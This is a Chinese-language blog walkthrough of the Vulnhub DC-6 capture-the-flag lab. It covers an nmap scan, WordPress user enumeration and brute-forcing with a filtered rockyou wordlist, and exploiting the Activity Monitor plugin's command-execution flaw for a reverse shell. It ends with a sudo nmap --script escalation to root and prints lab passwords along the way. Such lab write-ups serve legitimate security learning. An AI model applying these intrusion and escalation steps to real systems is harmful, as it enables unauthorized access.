看完这篇 教你玩转渗透测试靶机vulnhub——DC6

2023-11-16

Vulnhub靶机介绍:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

靶机DC6,,,只有拿到root权限才可以发现最终的flag。

Vulnhub靶机下载:

官网地址:https://download.vulnhub.com/dc/DC-6.zip

Vulnhub靶机安装:

下载好了把安装包解压 然后试用VMware即可。
在这里插入图片描述
在这里插入图片描述

Vulnhub靶机漏洞详解:

①:信息收集:

kali里使用netdiscover发现主机
在这里插入图片描述
渗透机:kali IP :172.16.5.42 靶机IP :172.16.5.20

使用命令:nmap -sS -sV -A -n 172.16.5.20

在这里插入图片描述
通过nmap扫描我们我发现靶机开放了22.80端口 直接访问80 但是好像没反应 因为之前我们遇到过这种情况 需要改hosts文件

vim /etc/hosts 打开hosts配置文件,然后重启一下服务 然后就可以正常访问了。
在这里插入图片描述
(PS:我改了hosts 但是还是访问不了,最后发现是我代理没关,真的是菜的扣脚,呜呜呜~)
在这里插入图片描述
这个界面很熟悉呀,和DC-2一样 估计又是wordpress 使用工具扫一下就知道啦
使用命令:wpscan wordy -edirb 172.16.5.20 发现了wp-cron.php/upload 还有一些用户
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
访问发现并没有什么可以利用的。然后直接访问一下后台,现在只知道账号 不知道密码 所以需要暴力破解。

http://wordy/wp-login.php  #访问后台

在这里插入图片描述
然后把五个用户 生成了一个字典 然后又用了之前DC-2 的密码字典 然后用wpscan 爆破了一下发现不行!!!
在这里插入图片描述
这个时候我们想到了作者给的提示
在这里插入图片描述
在这里插入图片描述

cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic   #生成字典
cat wordy-pass1.dic  #查看字典

②:暴力破解:

使用命令:wpscan --url wordy -U wordy-user -P wordy-pass1.dic 密码为:helpdesk01 登入网页,登入成功!!!!
在这里插入图片描述
在这里插入图片描述

③:漏洞发现:

经过大概的阅览知道了权限并不高,而且发现了Activity monitor这个插件(因为也是第一次做,大概知道了是远程命令执行漏洞)

searchsploit activity monitor  #搜索相关信息

在这里插入图片描述
现在我们知道了exp 相关信息了 就要进行利用了

④:漏洞利用:

cp /usr/share/exploitdb/exploits/php/webapps/45274.html 45274.html  #复制到桌面
vim 45274.html #进行编辑

在这里插入图片描述
使用python开启个临时服务:python -m SimpleHTTPServer 80
在这里插入图片描述
使用kali监听一下 nc -nlvp 172.16.5.42 9999
在这里插入图片描述
(PS:这里我卡了很久,原因是因为设置的时候需要把里面的nc -nlvp 参数去掉 不然运行了也回弹不了shell 还是自己不够仔细,怪自己太菜了,希望大家可以少走弯路~ )

设置交互:python -c "import pty;pty.spawn('/bin/bash')"
在这里插入图片描述

⑤:nmap脚本提权:

/home/mark/stuff下发现一个文件,记录了用户graham的密码GSo7isUM1D4
在这里插入图片描述
切换graham用户 使用命令sudo -l 发现可以直接执行backups.shbackups.sh文件写入/bin/bash,然后以jens执行该脚本

执行后切换为jens用户执行成功发现有nmap脚本可以执行。
在这里插入图片描述
在这里插入图片描述
进入/tmp下面 nmap--script 参数可以执行脚本

echo 'os.execute("/bin/bash")'>getroot.sh
sudo nmap --script=getroot.sh

在这里插入图片描述

⑥:获取flag:

在这里插入图片描述
至此看到了flag,渗透测试结束。

Vulnhub靶机渗透总结:

这是做的第七个靶场了,学习的知识点和一些细节就是 :
1.要学会多看作者提供的靶机信息 (字典)
2.这次还是老样子 又有新的错误,做好好久 在利用漏洞的时候需要把nc 里面的参数去掉 ,不然不会反弹shell(希望你们可以少走弯路)

新知识点:
①:学会了pyhon开启临时服务:python -m SimpleHTTPServer 80
②:学会了nmap 脚本执行提权
③:学习了Activity monitor插件的远程执行漏洞的利用

最后 自己也会把这系列的靶机继续更新,创作不易 希望对大家有所帮助!!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

看完这篇 教你玩转渗透测试靶机vulnhub——DC6 的相关文章

  • 如何在图像附件页面上显示帖子附加的图像数量?

    我使用图像附件页面以幻灯片形式一一显示附加到帖子的图像 我希望能够显示附加到父帖子的图像总数以及任何给定附件页面上显示的特定图像的数量 以便您看到图片和文字 第 3 张图片 共 15 张 例如 更新 我能够使用以下代码获取要显示的总数
  • 用于自定义短代码的 Visual Composer 自定义标记 (vc_map)

    试图得到自定义标记使用 WordPress 的 Visual Composer 构建器 Found Visual Composer 更改自定义短代码模板 https stackoverflow com questions 24073053
  • 评级显示数字而不是星星

    我不知道为什么我的网站的 Schema org 标记显示数字和字符而不是星星 例如 它显示 5 中的 3 而不是 我该如何修复它 我正在使用 WordPress 和 All In One Schema Rich Snippets 插件 遇到
  • 点击添加到购物车时如何弹出结账? [关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 想问一下有没有办法对woocommerce结帐的弹出结帐进行编码 这是用户单击 添加到购物车 时的屏幕截图 将弹出结账以显示产品 No
  • 如何在 WordPress 中添加 PHP 页面链接到我的页脚

    我创建了一个自定义 PHP 页面名称 privacy policy 名称为privacy php 我如何链接页脚中的页面 以便当有人点击隐私链接时页面打开 我已在此页面中调用页眉和页脚 这个怎么做 谢谢 In the wp content
  • 如何使用 xmlrpc 将 html 内容发布到 wordpress?

    我有一个脚本可以使用 xmlrpc 将一些数据发布到 WordPress 如果我在正文中使用一个简单的字符串 例如 这是一个测试 它就可以正常工作 但是 如果其中包含任何 HTML 格式 则在尝试添加帖子时会严重损坏 如何使用 xmlrpc
  • 扩展 PHP 正则表达式以涵盖“srcset”和“style”属性

    我创建了一个 WordPress 插件 可以将所有链接变成协议相关 URL https en wikipedia org wiki Wikipedia Protocol relative URL 删除http and https 基于我在中
  • 如何编辑 Woocommerce 单一产品元模板中显示的内容?

    我正在为客户做一些工作并使用 wordpress woocommerce 他们要求我将类别移动到我已经完成的单个产品页面上的产品名称下 但他们不希望它打印 类别 类别 1 类别 2 等 他们希望删除 类别 并且它实际上只列出类别的名称 而不
  • WordPress 自动草稿禁用

    我正在使用 Wordpress v 3 3 1 并启用多站点管理 我正在尝试禁用自动草稿功能 但似乎我已经尝试了所有方法 我尝试过的 define WP POST REVISIONS false define WP POST REVISIO
  • 如何将 HTML 添加到 WooCommerce 结账时的“billing_email”字段?

    我想在下面添加一行文字billing email字段输入框 详情如下 原始 HTML 输出 p class form row form row wide validate required validate email p
  • 隐藏 Woocommerce 中的一些结帐字段问题

    即使使用后 我也发现隐藏某些结帐字段的问题 woocommerce checkout page add filter woocommerce checkout fields custom override checkout fields f
  • 将两个相似的 jQuery 脚本组合成一个 if/then 脚本

    我正在尝试根据回答的问题中的代码组合两个 jQuery 循环here https stackoverflow com questions 25175757 use jquery to move wordpress post attachme
  • 测试 WP_Query 对象是否为空

    如何测试 WP Query 对象是否未返回任何匹配项 我希望能够做这样的事情 这是一个模板 EDIT 更好的例子 我只想在查询找到任何内容时才显示 h2
  • 获取 Woocommerce 单一产品页面中的产品类别名称和描述

    我一直在使用 WooCommerce Codex 但我似乎无法显示数据 我只想显示产品类别和描述 以在我自己的自定义布局的单个产品页面上显示 如下所示 由于一个产品可以有多个产品类别 因此您需要使用 foreach 循环 这 term变量是
  • 内部分页:避免不工作

    我的 Wordpress 网站有一个打印样式表 我希望图像打印在单个页面上而不是跨页面拆分 在某些情况下 甚至几行文本也会被分割到不同的页面上 我已经包括了img page break avoid 在我的打印样式表中 但没有运气 我找到了一
  • 为什么我需要在 single.php 中使用 wp 循环

    在WordPress主题开发中我们可以使用single php显示具体的单个帖子 为此 通常的做法是 为什么我需要循环显示单个帖子 任何人都可以给出一些合理的理由吗 这是困扰我多年的事情 我找到了答案 不 您不需要在单页中使用 LOOP 您
  • 在 Woocommerce 中添加并保存管理产品变体自定义字段

    因此 我有以下代码 使我可以将条形码字段添加到产品的库存选项中 现在我还想将其添加到每个变体中 以便当我通过 WooCommerce 销售点插件扫描产品的条形码时可以轻松添加变体产品 这是我目前得到的 Add Barcode field i
  • WooCommerce 订单和电子邮件通知的自定义产品描述

    我需要修改产品描述以显示在所有客户通知上 所以 我尝试了以下代码 add filter woocommerce get item data wc checkout description so 15127954 10 2 function
  • 在字符串中间添加一个字符

    可能有一个简单的解决方案可以解决这个问题 但会引起面部表情 我将时间存储为 4 个字符长的字符串 即 1300 我试图将该字符串显示为 13 00 我觉得必须有一个比我现在正在做的更优雅的解决方案 我目前有 startTime get fi
  • WordPress 分页自定义帖子类型

    我有一个名为 新闻 的页面 使用页面模板page newslist php 它应该显示来自自定义帖子类型 也称为新闻 的帖子 我意识到两者具有相同的名称会导致问题 因此在注册自定义帖子类型时 我进行了重写以将其与页面区分开来 rewrite

随机推荐

  • 使用Pytorch计算分类模型的混淆矩阵

    第一部分 基础原理 参考链接 1 使用pytorch和tensorflow计算分类模型的混淆矩阵 B站视频讲解 推荐博文 4 4 2分类模型评判指标 一 混淆矩阵 Confusion Matrix 第二部分 代码详解 1 YOLOV5 5
  • 真正的opencv配置,搞了好久。

    opencv VS2010 win7 64位 首先 opencv版本 vs版本 系统多少位都没关系 虽然系统是64位的 但是只要你想编写在32位上也可以跑的程序 那就按这个来就行 1 环境变量 新建环境变量例如opencv 然后在path里
  • python实现将给定列表划分为元素和大致相等的两个子列表

    假设现有列表 300 150 75 38 19 9 5 2 我想把它划分为两个子列表 并要求两个列表的元素和大致相等 应该如何做 这是一个很有意思的问题 我们期待的答案应该是 list1 300 list2 150 75 38 19 9 5
  • 接口测试面试题,等你来看

    1 你们公司的接口测试流程是 接口测试我们是在xx项目做的 主要有xx接口 xx接口等 1 首先是从开发那里拿到API接口文档 了解接口业务 包括接口地址 接口方式 入参 出参 token鉴权 返回格式等信息 2 然后使用postman或j
  • 人工智能---深度学习神经网络神经元的实现

    系列文章目录 人工智能 深度学习从感知机到神经网络 文章目录 系列文章目录 前言 一 神经元的组成 二 激活函数的实现 1 什么是激活函数 2 常见的激活函数 3 激活函数实现 三 神经元实现 1 初始化参数 2 权重设置 3 偏置设置 4
  • servlet和java区别_Java中Applet和Servlet之间的区别是什么

    在Java中 Applet和servlet的主要区别是 applet是在客户端计算机上执行的应用程序 Applet和servlet是小型Java程序或应用程序 但是它们之间存在着许多差异 本篇文章就给大家介绍Applet和servlet的区
  • 中标麒麟QT中qDebug无输出问题解决办法

    一 系统环境 中标麒麟V5 qt creator 4 3 1 qt5 qtbase 5 6 2 二 问题 代码中qDebug 函数无输出 但qInfo 和qWarning 有输出 创建一个test工程 使用qDebug 打印信息 但是没有任
  • 新冠肺炎国内外数据实时API接口

    这个是从丁香园和百度疫情获取的两套疫情数据 使用Springboot封装了一下 对外提供API接口 数据包括 国内疫情数据 全球疫情数据 疫情最新资讯 其中丁香园包含了各种JPG格式的图表 百度包含今日疫情热搜等 百度包含了疫情历史数据 具
  • 3.4 DML

    package com atguigu import org apache hadoop hbase Cell import org apache hadoop hbase CellUtil import org apache hadoop
  • 【python】python获取两个list交集

    获取两个list 的交集 方法一 a 2 3 4 5 b 2 5 8 tmp val for val in a if val in b print tmp 2 5 方法二 比方法一快 print list set a intersectio
  • js实现WebSocket 连接

    一 WebSocket 简单介绍 1 HTTP和WebSocket的区别 http 通信只能由客户端发起 WebSocket 服务器可以主动向客户端推送信息 客户端也可以主动向服务器发送信息 是真正的双向平等对话 属于服务器推送技术的一种
  • 崩坏3渠道服扫码登录桌面版的方法教程

    文章目录 一 渠道服分类 二 扫码登录方法 1 官服或手机有相应渠道服版本 2 B服 vivo oppo UC 小米 3 应用宝 QQ 微信 华为 魅族 三 注意事项及问题解决方法 一 渠道服分类 崩坏3rd 渠道服扫码登录桌面版方法 崩坏
  • 算法:多个无序数组合并排序

    思路1 先单独排序 再合并 注意 sorted函数是又返回值的 不改变原来list 注意 若是多个数组 则可以对其中所有第一个数进行再排序 def sort1 list1 list2 list1 sorted list1 list2 sor
  • 深度网络架构的设计技巧(三)之ConvNeXt:打破Transformer垄断的纯CNN架构

    单位 FAIR DenseNet共同一作 曾获CVPR2017 best paper UC伯克利 ArXiv https arxiv org abs 2201 03545 Github https github com facebookre
  • vue3.0 toRef与toRefs

    toRef与toRefs toRef 代码示例 toRef toRefs toRef 作用 创建一个ref对象 其value值指向另一个对象中的某个属性 语法 const name toRef person name 应用 要将响应式中的某
  • git 使用经验

    常用命令 git stash 暂存当前已修改的文件 git stash pop 释放暂存的文件 git status 查看当前状态 git checkout master 切换到主分支 提交文件相关 git add 增加文件 git rm
  • lammps案例:液体平衡态rdf计算模拟练习

    分享一个2维液态平衡模拟案例代码 随机生成400 0 8个原子并进行温度初始化 原子在LJ力场作用下运动到一定位置后达到平衡 并输出rdf数据 代码已经注释 以供参考 当原子数量超过400 0 9时 体系接近固态 可自行更改参数并结合rdf
  • scrapy_redis配置redis集群

    单节点的redis太容易挂了 总是出现意外情况 借助scrapy redis sentinel库实现scrapy redis对redis集群的使用 按照官方库的说明去修改后启动项目会报错 报错的原因其实是作者的源码包中一个叫queue py
  • 修改Fedora 25与Windows 10的默认启动顺序

    首先贴出Fedora25下 boot grub2 grub cfg的内容 DO NOT EDIT THIS FILE It is automatically generated by grub2 mkconfig using templat
  • 看完这篇 教你玩转渗透测试靶机vulnhub——DC6

    Vulnhub靶机DC6渗透测试详解 Vulnhub靶机介绍 Vulnhub靶机下载 Vulnhub靶机安装 Vulnhub靶机漏洞详解 信息收集 暴力破解 漏洞发现 漏洞利用 nmap脚本提权 获取flag Vulnhub靶机渗透总结 V